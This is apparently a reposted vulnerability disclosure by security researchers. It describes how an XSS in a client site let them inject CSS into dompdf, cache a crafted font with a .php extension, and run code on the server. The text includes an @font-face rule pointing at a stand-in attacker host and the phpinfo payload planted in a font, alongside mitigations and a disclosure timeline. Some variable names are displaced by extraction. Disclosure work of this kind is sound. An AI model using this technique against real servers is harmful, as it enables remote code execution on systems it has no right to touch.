原文始发于MAXIMILIAN KIRCHMEIER, FABIAN BRÄUNLEIN:From XSS to RCE (dompdf 0day)
- The popular PHP library dompdf (used for rendering PDFs from HTML) suffers from a vulnerability that allows Remote Code Execution in certain configurations
- By injecting CSS into the data processed by dompdf, it can be tricked into storing a malicious font with a file extension in its font cache, which can later be executed by accessing it from the web
.php
- We reported the vulnerability to dompdf on October 5th 2021. Since no patch is available yet, we are now publishing details about the vulnerability to inform the public about the risk and possible workarounds
Introduction
During a client engagement last year, we were faced with a website that seemed fairly impenetrable at first glance, due to its largely static nature:
While investigating the site, we did manage to find a reflected Cross-Site Scripting (XSS) issue:
Seeing as the site did not store any sensitive information in clients’ browsers (such as authentication cookies), this in itself was a finding of low severity.
At some point however, an interesting feature caught our eye. The site offered the option to export some of its pages in PDF form:
Promptly, the reflected XSS became a lot more interesting, because it let us control the input to the server-side PDF generator as well:
Though it wasn’t possible to inject JavaScript that the PDF renderer would interpret, we were able to inject arbitrary HTML (as shown above with the ‘In PDF’ title in italics).
Running pdfinfo on the exported PDF told us which library was responsible for the PDF rendering on the server:
We thus knew which HTML-to-PDF converter was used in the back-end (dompdf), and at which version.
(Note that the version actually in use on the client’s server was v0.8.5, but since the exploit path we will show here still works the same on the newest version v1.2.0, we will be using this version for the purpose of the article. At the time of disclosure, there are no known vulnerabilities for either version 0.8.5 or 1.2.0.)
Looking for a vulnerability
At this point, we shifted our attention to dompdf’s source code, to see if we might be able to find a vulnerability that could get us further access to the server.
The first thing that caught our eye was the option to execute embedded PHP during PDF rendering, which, if enabled, would have made our job quite easy:
/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within ... tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isPhpEnabled = false;
However, this feature turned out to be disabled. (Note: If you are running dompdf on your server, you probably want to ensure this feature is turned off. The official guide for ‘Securing dompdf’ concurs.)
The next interesting setting concerned the loading of remote resources:
/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isRemoteEnabled = false;
To check for the state of this setting, we used the XSS to include an external stylesheet (shrinking the image and setting its background to light grey for testing purposes):
We could thus confirm that the setting was enabled, and could proceed with figuring out what this allowed us to do.
First possibility: The font cache index
When is set (or on versions ≤ 0.8.5, regardless of this setting), dompdf allows loading custom fonts through font-face CSS rules such as the following:$isRemoteEnabled
@font-face {
font-family:'TestFont';
src:url('http://attacker.local/test_font.ttf');
font-weight:'normal';
font-style:'normal';
}
When an external font is used, dompdf caches it locally in the sub-directory, and adds a corresponding entry in using saveFontFamilies()
. This function encodes the fonts known to dompdf as a PHP array, together with the information needed to look them up later./lib/fonts
dompdf_font_family_cache.php
From a log file we found elsewhere on the system, we already suspected that dompdf was stored in a directory accessible from the web-root, and indeed the lack of an error message when attempting to access the font cache index seemed to indicate the same:
Since this means a PHP file we can access externally is generated based on input controlled by us, it seemed a worthwhile avenue to explore for potential vulnerabilities.
However, the only parameter we had direct influence over (the ) was escaped sufficiently using addslashes()
to make exploitation impossible. We therefore had to keep looking further – though not very far.$family
Next step: The font cache
If we can’t use the font cache index… can we use the font cache directly?
Let’s see how dompdf registers new fonts (shown here in condensed form for the sake of clarity):
/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$styleString = $this->getType("{$style['weight']} {$style['style']}");
$fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);
$prefix = $fontname . "_" . $styleString;
$prefix = preg_replace("[\\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\\w]+/", "", $prefix);
$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));
// Download the remote file
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);
$font = Font::load($localTempFile);
if (!$font) {
unlink($localTempFile);
return false;
}
$font->parse();
$font->close();
unlink($localTempFile);
// Save the changes
file_put_contents($localFile, $remoteFileContent);
$this->saveFontFamilies();
return true;
}
There’s a few things this code snippet tells us:
- The filename of a newly cached font is deterministic and based on information we have, namely the font’s name, the chosen style and a hash of its remote URL (line 9-19). The test-font from above with URL and weight/style “normal” would e.g. get stored as
http://attacker.local/test_font.ttf
testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
- Though care is taken to prevent the possibility of a path traversal vulnerability (by removing potentially dangerous characters in line 16 and 17), the font’s original file extension is kept
- The font needs to be valid in the sense that it has to survive loading and parsing by php-font-lib (lines 28 and 35)
When inspecting php-font-lib’s source code, it quickly became apparent that this library only checks a font’s internal consistency, based on its file headers, and completely ignores its file extension. So what happens if we take a valid font, add a in its Copyright section, store it as ‘exploit_font.php‘ and include it via an injected CSS file? Well….ttf
<?php phpinfo(); ?>
We have published the demo application and exploit at github.com/positive-security/dompdf-rce.
Analysis
Security vulnerabilities often occur due to (design) decisions made based on incorrect assumptions about underlying or interconnected components. For the concrete scenario we encountered, we could identify three decisions/assumptions that contributed significantly to the RCE vulnerability on the client’s server:
- “It should be okay to trust php-font-lib with checking fonts, since it will only accept fonts that are valid (and have the appropriate file extension)”: This assumption, made by the dompdf developers, turned out to be incorrect because php-font-lib’s concept of a valid font only required consistency between the font’s headers and its internal structure, irrespective of its file extension
- “It should be okay to have dompdf’s setting set to true, since the website itself is essentially static and we therefore control the input to the PDF renderer”: This assumption, made by our client, was broken by the reflected XSS vulnerability
$isRemoteEnabled
- “It should be okay to have dompdf in an externally accessible sub-directory”: This action, though probably not performed consciously by our client but rather out of convenience, sadly turned out to be misguided
Though all three factors were necessary for the full exploit, they differ in respect to ‘preventability’.
The first decision, which led to the font vulnerability, was a mistake that (albeit unfortunate) can readily occur in any complex software project and is essentially impossible to avoid completely. The second decision increased the attack surface for our client, but was necessary to implement the intended functionality.
The third factor could be seen more critically however, since it directly contradicted the top-most point outlined in the guide for ‘Securing dompdf’, which has existed in this form since 2016. From a post-mortem perspective, it would therefore make sense to examine the workflow that resulted in this step being taken, as including an external library without properly assessing its security impact would have been the most easily preventable factor.
Impact
There are a number of use cases that require server-side generation of PDFs containing user-supplied input, such as ticket purchases, receipts/invoices or other automated emails from service providers, or even Corona test certificates. It is possible that some of these services are also affected, if the following preconditions are met:
- dompdf is installed in a directory accessible through the web. This could for example easily happen if Composer was used to install the library somewhere inside the docroot without explicitly forbidding access to the folder
vendor
- PDFs are being generated using insufficiently sanitized user input. This could be caused through e.g. an XSS, as demonstrated here, or by directly passing user data to the back-end (such as the user’s name or address)
- dompdf version ≤ 0.8.5 is being used, or is set to true. Note that versions ≤ 0.8.5 do not require
$isRemoteEnabled
to be set to be vulnerable, as they load certain remote elements (such as fonts) even with the setting deactivated$isRemoteEnabled
While we don’t have installation numbers, GitHub metrics suggest dompdf to be the most popular option for generating PDFs from PHP:
Mitigation
Though there isn’t a patch for dompdf available yet, there are steps you can take to minimize your risk of being exposed to this vulnerability.
- Make sure dompdf is not installed in a web-accessible directory. This is the most important point, as it would completely prevent the exploit
- Double-check the input sanitization you perform before passing data to dompdf, to prevent attackers from injecting HTML/CSS. This is a good idea in any case, as there might be other vulnerabilities that can be triggered in similar ways
- Update dompdf to a recent version and turn off , if possible for your use case. Though the most recent version available at time of publishing this article (1.2.0) is still susceptible to the vulnerability, it does consult the setting before attempting to download fonts from remote locations (unlike versions ≤ 0.8.5, which simply ignore the setting in that context)
$isRemoteEnabled
$isRemoteEnabled
- And finally, keep an eye out for a dompdf patch that fixes this vulnerability and apply it once it is available. You could for example stay up-to-date by subscribing to dompdf’s release feed with an Atom reader of your choice
Timeline
2021-10-05
Vulnerability reported to [email protected] (from SECURITY.md)
Followed up on report
Created a GitHub issue to draw attention to report
Report acknowledged, issue tagged for “v2.0.0”
Version 1.1.0 released, without fix
Version 1.1.1 released, without fix
90 days since initial report
Version 1.2.0 released, without fix
Asked developers for patching horizon and notified them of upcoming disclosure
Follow-up email
Follow-up email
Received response from dompdf that they “can not provide a time frame for said [v2.0] update at this moment”
Public disclosure2021-10-08
2021-10-12
2021-10-13
2021-11-16
2021-11-24
2022-01-03
2022-02-07
2022-02-07
2022-02-16
2022-03-10
2022-03-15
2022-03-16
Conclusion
While investigating a client website, we discovered a vulnerability in the PDF rendering PHP library dompdf that allowed us to upload font files with a extension to the web server. To trigger it, we used an XSS vulnerability that allowed us to inject HTML into a web page before it was rendered as a PDF. Since dompdf was installed in a web-accessible directory (and we knew its location thanks to a leaked logfile), we could navigate to the uploaded script, giving us code execution on the server..php
.php
Versions ≤ 1.2.0 of dompdf that are located in a web-accessible directory and have activated should be considered vulnerable, as should be versions ≤ 0.8.5 even with set to false.$isRemoteEnabled
$isRemoteEnabled
The exploit files and source code for the demo application are available on GitHub.